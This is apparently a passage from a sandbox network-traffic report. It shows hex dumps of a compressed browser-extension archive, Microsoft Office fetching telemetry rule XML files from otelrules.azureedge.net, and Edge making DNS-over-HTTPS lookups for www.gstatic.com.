2024-11-11 11:40:24 UTC	1378	IN	Data Raw: aa 54 89 36 c1 f8 f2 5a f7 ba 97 f1 3f fe f5 43 56 d7 f2 f3 3c 8c e7 4b ff e3 ef 3f c6 cf aa aa f3 6b fd 97 a1 fa fc cb e9 ac aa 1f 7f fd 71 3d bf f7 95 fc 59 5e fa b1 ea c7 1f 7f ff d7 8f 21 7f a8 4b 2e f5 e7 ab 47 d8 14 a6 6d 08 6e 1b a9 59 d7 a5 59 ab f2 b1 7f e2 d6 f5 9c 75 d3 57 66 8e a7 d2 54 4f 22 d9 3f a1 dd 8b 8d ce f7 b3 f0 55 2f 52 64 ec 9b cb 59 7f be 8e 1a 6a ee bf ff de a9 ab 48 a3 f3 51 8d bf ec 7b b7 96 fe fb f9 78 de 4f 51 f3 7e 2b 7d bb ff fe 4c d9 39 5f 12 3a 97 2c 45 97 ef ef 0b 13 71 f1 30 26 ce df 1f 49 3b 62 c4 e0 48 bb b1 11 3e ea f2 8e 02 39 b3 7d 09 42 84 80 d8 92 2e 7c e4 41 b8 a9 7c 61 8b 47 e8 1c 82 eb b9 f4 a1 91 6f f7 4f 7b e5 5c 0b 13 d5 85 cf e6 83 09 bb 83 09 54 69 a1 5a 98 fa ba 1b e6 c2 dc 9c 0f db f0 51 98 ce ef f3 fc Data Ascii: T6Z?CV<K?kq=Y^!K.GmnYYuWfTO"?U/RdYjHQ{xOQ~+}L9_:,Eq0&I;bH>9}B.\|A\|aGoO{\TiZQ
2024-11-11 11:40:24 UTC	1378	IN	Data Raw: 88 1b 77 cc 06 18 f9 d1 78 a4 43 22 82 21 af 78 ed e5 3b 17 31 63 f2 12 16 6f 58 13 8a ac 6b 1f 08 96 b6 8e 59 b4 c8 5e 7b ff 95 e3 e3 6c 66 93 48 75 bd 57 d8 44 86 61 51 06 73 e9 21 bf d8 c1 38 0f 10 8e 94 67 c9 ae de 62 0f 6a 0d 08 71 f9 00 01 36 e4 d7 e2 f8 fd 7e ad e7 de 90 39 1c a3 5e 29 61 4c ee 81 a2 7b 44 c7 8e 2a b9 2d 76 d2 4b 76 32 2c a9 88 31 c0 6e d9 6b 8d a6 5a 8f 18 9d a2 60 79 ed cb ff 87 06 97 0d 1e 32 a3 56 32 10 9f b9 a9 d2 c4 8b 46 12 b8 5e dc 88 5e 98 61 86 3b 1d 0a 96 7b 16 9e c8 68 27 de 4a 05 5d 6c ca cd 72 ee c9 b5 fc 47 ed 73 37 d8 17 1e 9a eb 56 7a a1 49 00 ec 50 20 44 6e 0c 07 32 6b 0d f0 31 8f 82 17 33 36 ef 77 16 e0 38 a3 78 57 75 ef f7 45 fe d6 da dc 1b 3c a4 60 9b 5a c3 ab 54 de 7c 84 75 4b 00 a2 d8 aa 43 dd 63 24 a2 05 b3 Data Ascii: wxC"!x;1coXkY^{lfHuWDaQs!8gbjq6~9^)aL{D*-vKv2,1nkZ`y2V2F^^a;{h'J]lrGs7VzIP Dn2k136w8xWuE<`ZT\|uKCc$
2024-11-11 11:40:24 UTC	1378	IN	Data Raw: ec 3c 53 7b bd 2b 0d f6 8f 48 d5 27 4c 9d 21 67 cf 13 d5 fd 28 ef 16 fb ab 5b b1 72 6f 45 f7 8a 4f da b3 e7 94 c8 03 e1 ba 8f ea 98 8d ad 70 5b 75 d3 db 31 31 1e 65 20 3f 73 03 a7 8c c0 5d 02 07 98 cf a2 15 9d ee 3b 96 d8 5b 6e bd d6 e7 1c e9 c6 a6 3c ec 04 df 03 02 d8 07 6a 07 4f 70 bb e6 0d 44 84 8e 31 f6 ed 1b e9 6a c5 3d 68 26 0c d9 55 07 3f b0 8e cd 25 f6 a5 bf 92 bd 1a 68 de 40 51 36 ee b9 e4 ce 81 50 6c c6 16 de 88 4e bc 66 c4 fd 22 da f5 e3 d6 a9 11 77 1e cc c8 00 69 9f 41 62 95 20 df bd 2c b1 bf 6b be 5b ba 52 77 ca c0 9b 04 7c b7 44 3b 68 e6 61 cf 76 78 4c 3a 74 24 9e d6 21 da de bf f7 1b 89 3f 5c 33 4b 7c e7 5f 9b f5 e1 23 f2 f7 8f ff 83 bf 91 02 97 ae 8d 7f 06 9c bd 4c 5d 83 7b e3 6b 6c 38 41 a1 10 8f 67 d6 26 30 9e 29 6c 6d ce c7 a7 68 e7 66 Data Ascii: <S{+H'L!g([roEOp[u11e ?s];[n<jOpD1j=h&U?%h@Q6PlNf"wiAb ,k[Rw\|D;havxL:t$!?\3K\|_#L]{kl8Ag&0)lmhf
2024-11-11 11:40:24 UTC	1378	IN	Data Raw: 73 be d1 73 8f fe f4 bd 21 33 d5 4d 7a 30 92 e6 a0 73 01 69 4f 6c e7 64 e7 06 c4 1f cd ca 43 29 99 d5 a9 e4 d2 27 1d 24 47 c6 70 b9 db 83 b8 ff e3 7b 43 fd 1c bd 60 8e 2a b8 9e 3b 74 be 19 0c 65 10 ff b7 71 9b 03 75 c2 bc 05 66 42 30 d4 bd 44 4c 1f e0 98 f8 e0 5e 51 d6 09 16 ee 62 8a 41 64 da 7a 3d 5a 33 a2 f1 1d 19 2a c9 80 f3 07 8d 29 4d f6 90 9d 6a f4 d8 56 61 85 9f 3a ce 4e 59 a7 6e a9 e5 ea 31 ff db f8 7b 43 fb aa 2b b5 c2 4c a8 10 57 3e 9d 12 73 e0 51 5f ef a3 40 64 48 ab 09 6b 6a 14 35 a1 2f 83 cb 26 d1 e4 cb 9d b8 cb 6e d2 3d 1d 90 fa 7e 9d 1e 6b cc d2 f8 7b 2e c6 37 f3 df 63 e9 ba ef fe 7d de f2 f4 a7 e7 2c 7f fb ee 20 7d 36 a6 a6 6a 7f 3b 2b 59 eb 18 b5 6f b9 8e 0b c1 c7 7b c1 1d 95 99 f6 ad e8 d4 b5 e8 6c ed 3f a7 af c2 af 3f 73 bf 3d ff ef 77 Data Ascii: ss!3Mz0siOldC)'$Gp{C`;tequfB0DL^QbAdz=Z3)MjVa:NYn1{C+LW>sQ_@dHkj5/&n=~k{.7c}, }6j;+Yo{l??s=w
2024-11-11 11:40:24 UTC	1378	IN	Data Raw: 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 73 76 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 50 03 fc 66 0a 00 20 00 00 00 00 00 01 00 18 00 00 08 b1 f4 0b 14 db 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8d 52 3d 6f dc 30 0c dd fb 2b 08 cf 46 70 fd 1c b2 05 08 d0 a1 45 53 a4 59 02 64 61 4e b4 23 48 a6 04 8a 72 72 08 f2 df 4b 9d 7d 08 ce e8 d0 45 03 45 be f7 f8 1e 5f bb bd 10 2a 31 3d 77 97 af dd 44 a5 e0 48 dd 65 f7 e7 c7 d5 ef 2b f8 75 7f 77 d7 bd f5 1d bd e4 88 8c ea 13 a7 61 88 9e c9 f9 82 8f 91 dc f9 d4 75 85 87 ba db d1 17 81 b5 ef 02 6e 26 70 15 66 1f 23 20 cf cb 37 3b 84 ef 29 8d 91 e0 3a 85 3a 11 2b 54 45 06 cf 4a c2 a4 35 e7 90 72 36 84 b1 3f 42 0e df 72 66 Data Ascii: !-_locales/sv/messages.jsonUTPf R=o0+FpESYdaN#HrrK}EE_*1=wDHe+uwaun&pf# 7;)::+TEJ5r6?Brf
2024-11-11 11:40:24 UTC	1378	IN	Data Raw: d6 92 10 e8 84 d6 9a 4c 28 b9 28 68 15 81 3d 3a d0 47 7f 87 f5 aa c5 a0 2c 48 96 b4 9f 93 24 bf 74 ca 3b a4 a0 f9 6a e6 a1 cc 40 81 91 19 30 5d a1 39 7e 39 01 48 39 a0 4f 22 d8 2a e1 e0 08 be e7 cf 6d 6c b8 0b be c9 03 07 28 7d 6a dc e2 3f 42 98 78 2d d6 a1 b1 19 12 f8 68 b4 04 85 9d 97 35 1c 1b 0c 16 5f 55 b4 c5 fe ea 43 28 83 0e 40 08 bf 0d 79 16 7a c3 cf 26 b0 46 00 0e 4b 9e 50 f8 ed 3b 0e 8c 5d 3c 0b 64 ca 72 2e 90 41 1f b1 d4 e7 ed 22 33 dd 46 8d 4d 1a 99 c7 e4 99 3c 21 86 b1 e4 d2 54 27 cf df ef 91 4e 01 0d 30 81 96 55 96 37 4e 3d d0 01 5c b2 ca 55 80 04 ec aa e2 2a 73 90 6b ac 51 58 5b 6a 0a 34 8b b4 b7 4f b0 0d b9 c6 2c a1 85 38 3d c9 71 2f 07 ef 6d df 60 8f b9 82 8c 87 80 43 e8 d4 88 fe 62 9f b4 94 b9 d7 66 ac 7c 82 88 1d 51 d1 f9 61 37 fe 39 d8 Data Ascii: L((h=:G,H$t;j@0]9~9H9O"ml(}j?Bx-h5_UC(@yz&FKP;]<dr.A"3FM<!T'N0U7N=\UskQX[j4O,8=q/m`Cbf\|Qa79
2024-11-11 11:40:24 UTC	1378	IN	Data Raw: ad c4 ca 60 aa 12 70 5b 7b 7a c3 30 ec 7c ed 63 70 f3 2d c2 2b 61 1b 8f d7 00 1b e0 cd 2b ef 78 f7 a3 67 c0 39 32 a9 1f 80 6c 66 17 97 d6 80 80 69 32 ab bf c3 f0 d2 d1 02 c6 d1 d1 ca 7f 28 f3 d3 05 cf d7 e6 67 96 67 73 39 3b dd 9e 5f c5 2e 08 52 5b 60 e6 23 e4 24 80 17 de cf 8c 32 61 22 26 18 40 81 51 37 1a 3d e4 69 36 45 18 6c 38 96 b1 f8 bc 04 25 63 8c 69 6f 0b 8e 93 22 11 da 2b e2 2e dd 3c 66 df 7d 3c c4 05 36 71 e2 c9 b8 a6 7e 66 b3 9b 73 21 3a a7 95 67 38 d4 83 89 c3 d7 91 64 de c5 5b 01 f5 ff a5 13 58 78 d8 a8 54 25 22 24 d8 16 40 cd 81 70 5e c5 3b d8 dd 55 72 b8 9e d6 48 15 06 41 57 68 5b e8 27 30 b1 82 0f e8 09 d8 f8 24 0d ae 73 05 91 20 6f 32 84 0d f0 82 95 ca 25 80 50 f5 46 fa 49 1e 46 5e 38 4e d2 28 ef db ce 9f 18 54 a7 c3 53 4b c7 26 a2 ba e4 Data Ascii: `p[{z0\|cp-+a+xg92lfi2(ggs9;_.R[`#$2a"&@Q7=i6El8%cio"+.<f}<6q~fs!:g8d[XxT%"$@p^;UrHAWh['0$s o2%PFIF^8N(TSK&
2024-11-11 11:40:24 UTC	1378	IN	Data Raw: 58 0d 04 41 31 f1 f1 a8 15 a1 54 1e 5a 8d 72 3d e2 47 40 31 01 b6 e2 e3 20 ba 53 87 b9 64 39 96 a9 1f 50 8d c3 df 89 4f 3c 44 83 14 ce e2 33 f3 a3 46 d1 e2 45 58 a7 2c f7 48 0a 04 81 50 14 d0 11 86 4d 66 e7 ff be d5 aa ce 18 47 ec d9 2c f8 22 13 e5 35 27 b7 b0 97 2a bf 2c 0b d7 07 48 d7 30 c9 86 93 1f b0 17 3e b8 b1 bc a7 01 17 51 9c 66 55 50 9a b0 bb 80 25 f5 6f 33 e1 cf d4 9d 1c 93 ba 54 72 a7 e2 f6 75 97 90 fe 6f d2 46 10 67 11 75 4c 7e d0 94 af e3 4d 5d b4 38 17 ad 83 c4 09 26 df 24 fb 10 6d 5d e5 56 f8 11 0d 2d bb f3 2c 35 9d 43 aa d3 dc cc 21 ae 95 db 49 63 90 e8 bb b5 a2 31 68 28 4f c1 46 84 c4 ae 85 65 77 6e 1d 5c 72 28 c5 cb d9 9f 0c 82 36 6a 85 c3 0c cb 86 67 50 98 fd a8 5e 6f c5 03 8b 54 f3 c2 30 f0 94 72 6d 96 45 e2 75 68 b3 3c 02 83 6b 79 2f Data Ascii: XA1TZr=G@1 Sd9PO<D3FEX,HPMfG,"5'*,H0>QfUP%o3TruoFguL~M]8&$m]V-,5C!Ic1h(OFewn\r(6jgP^oT0rmEuh<ky/
2024-11-11 11:40:24 UTC	1378	IN	Data Raw: 14 0d 73 e2 64 7e de 02 18 e4 0f c3 f4 76 5f 5c be dd ce 6f 88 69 ac e4 50 fa ee 07 ab c8 a0 8b 52 e9 bb 55 6b fa 9f c6 22 3c 29 b7 da 31 d5 9e ae 5a b0 94 e9 7c 5c e7 66 a1 94 56 e8 81 c0 57 d2 a5 5b 41 6a 0e 92 60 dd 9b c4 c3 77 12 c5 dc 29 96 c5 76 0c 56 10 bf 85 d3 7f df 78 05 8d e2 78 fc 2e d0 e2 68 c5 5e ba e2 78 a2 f7 ae 74 a2 c9 5d 23 c5 a1 dd 77 87 05 87 09 52 cb 31 68 27 3d 4b 9d 65 b2 de 77 fd b1 ff 96 4d 3f 5e 60 b9 1e 38 a4 9e c8 b0 ea d5 db 24 51 55 05 52 b6 f2 27 f0 e4 fd 6c 75 91 a7 7f 43 1e 77 ee c0 54 0b 56 cd 31 4f 5e ee ea 9b de 9a b3 38 11 b7 da d9 f9 e5 0f 50 4b 07 08 fd 45 55 f9 17 02 00 00 f3 0a 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 6d 6e 2f 6d 65 Data Ascii: sd~v_\oiPRUk"<)1Z\|\fVW[Aj`w)vVxx.h^xt]#wR1h'=KewM?^`8$QUR'luCwTV1O^8PKEUPK!-_locales/mn/me

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.6	49826	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:24 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 11:40:24 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:24 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: feb35d59-101e-0079-01d5-335913000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T114024Z-174f7845968cdxdrhC1EWRg0en00000004vg000000004a6p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 11:40:24 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.6	49823	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:24 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 11:40:24 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:24 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: aedf17c0-c01e-0046-3ad5-332db9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T114024Z-174f7845968n2hr8hC1EWR9cag00000004f0000000007d9h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 11:40:24 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.6	49833	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:24 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 11:40:24 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:24 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 648756f6-901e-0067-0fd5-33b5cb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T114024Z-174f7845968c2t8dhC1EWR8s2000000004hg000000007wv1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 11:40:24 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.6	49832	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:24 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 11:40:24 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:24 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 45a856d6-001e-0017-5bd5-330c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T114024Z-174f7845968qj8jrhC1EWRh41s00000004rg0000000081w7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 11:40:24 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.6	49831	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:24 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 11:40:24 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:24 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 30996da0-701e-006f-5cd5-33afc4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T114024Z-174f7845968jrjrxhC1EWRmmrs000000051g00000000466f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 11:40:24 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.6	49839	162.159.61.3	443	7684	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:25 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-11 11:40:25 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-11 11:40:25 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Mon, 11 Nov 2024 11:40:25 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e0e01e2e97c5e65-EWR alt-svc: h3=":443"; ma=86400
2024-11-11 11:40:25 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 a1 00 04 8e fb 28 e3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom()

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.6	49840	172.64.41.3	443	7684	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:25 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-11 11:40:25 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-11 11:40:25 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Mon, 11 Nov 2024 11:40:25 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e0e01e2eb3242d7-EWR alt-svc: h3=":443"; ma=86400
